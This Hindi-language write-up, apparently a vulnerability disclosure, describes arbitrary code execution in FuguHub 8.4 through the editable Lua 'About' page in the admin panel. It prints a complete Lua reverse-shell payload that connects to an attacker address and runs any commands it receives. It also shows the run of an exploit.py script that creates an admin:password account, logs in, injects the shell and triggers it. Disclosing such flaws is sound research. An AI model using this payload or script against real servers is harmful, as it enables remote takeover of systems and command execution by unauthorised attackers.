
FuguHub 8.4 पर मनमाना कोड निष्पादन
FuguHub एक क्लाउड मीडिया सर्वर सॉफ्टवेयर है। परीक्षण किया गया संस्करण इस लिंक पर उपलब्ध डेबियन संस्करण था:
https://fuguhub.com/articles/FuguHub-for-Debian Real Time Logic LLC FuguHub v.8.4 में एक समस्या किसी स्थानीय हमलावर को व्यवस्थापक पैनल के About पृष्ठ पर तैयार की गई स्क्रिप्ट के माध्यम से मनमाना कोड निष्पादित करने की अनुमति देती है।
FuguHub का डाउनलोड पृष्ठ दिखाने वाला स्क्रीनशॉट
wget FuguHub.com/install/FuguHub.linux.install
chmod +x FuguHub.linux.install
sudo ./FuguHub.linux.install
About पृष्ठ एक संपादन योग्य lua पृष्ठ है जिसकी सामग्री व्यवस्थापक पैनल के माध्यम से बदली जा सकती है। यह भेद्यता lua में लिखा गया एक रिवर्स शेल About पृष्ठ में डालती है, जो लॉग इन और लॉग आउट दोनों उपयोगकर्ताओं को दिखाई देता है।
FuguHub व्यवस्थापक द्वारा संपादन योग्य About पृष्ठ दिखाने वाला स्क्रीनशॉट
FuguHub उपयोगकर्ता को एक व्यवस्थापक उपयोगकर्ता बनाने के लिए संकेत देता है, यह इस पृष्ठ पर भी किया जा सकता है: http://127.0.0.1/rtl/protected/admin/
बनने के बाद व्यवस्थापक इस लिंक पर सर्वर को अनुकूलित कर सकता है: http://127.0.0.1/rtl/protected/admin/customize.lsp यह उपयोगकर्ता को About पृष्ठ को संपादित करने की अनुमति देता है, जिसमें हम देख सकते हैं कि एक lua कोड अनुभाग है जहाँ हम कोड इंजेक्ट कर सकते हैं।
सर्वर साइड पर चलकर सॉफ़्टवेयर संस्करण लौटाने वाला संपादन योग्य lsp कोड दिखाने वाला स्क्रीनशॉट, यह रिवर्स शेल के लिए प्रवेश बिंदु है
यहाँ एक उदाहरण पेलोड है:
<?lsp if request:method() == "GET" then ?>
<?lsp
local host, port = "192.168.0.107", 4444
local socket = require("socket")
local tcp = socket.tcp()
local io = require("io")
local connection, err = tcp:connect(host, port)
if not connection then
print("Error connecting: " .. err)
return
end
while true do
local cmd, status, partial = tcp:receive()
if status == "closed" or status == "timeout" then break end
if cmd then
local f = io.popen(cmd, "r")
local s = f:read("*a")
f:close()
tcp:send(s)
end
end
tcp:close()
?>
<?lsp else ?>
Wrong request method, goodBye!
<?lsp end ?>
एक वैकल्पिक एकल-पंक्ति पेलोड revshells.com पर प्राप्त किया जा सकता है।
revshells.com से lua रिवर्स शेल का स्क्रीनशॉट
इस एक्सप्लॉइट को स्वचालित करने के प्रयासों के दौरान, मुझे CVE-2023-24078 मिला, जिसमें FuguHub पर एक फ़ाइल अपलोड भेद्यता पाई गई थी। वह एक्सप्लॉइट python का उपयोग करके किया गया था और उसमें स्वचालित लॉगिन / खाता निर्माण शामिल था। मैंने इस एक्सप्लॉइट के प्रमाणीकरण भाग का उपयोग किया और फिर customize.lsp पृष्ठ पर अपने नए खोजे गए प्रवेश बिंदु का शोषण करने के लिए कोड जोड़ा। मेरा python एक्सप्लॉइट रिपॉजिटरी में exploit.py के अंतर्गत शामिल है।
usage: exploit.py [-h] -r RHOST [-rp RPORT] -l LHOST -p LPORT
┌──(kali㉿kali)-[~/pg/hub]
└─$ python3 exploit.py -r 192.168.XXX.XXX -rp 80 -l 192.168.XXX.XXX -p 5555
[*] Checking for admin user...
[+] No admin user exists yet, creating account with admin:password
[+] User created!
[+] Logging in...
[+] Success! Injecting the reverse shell...
[+] Successfully injected the reverse shell into the About page.
[+] Triggering the reverse shell, check your listener...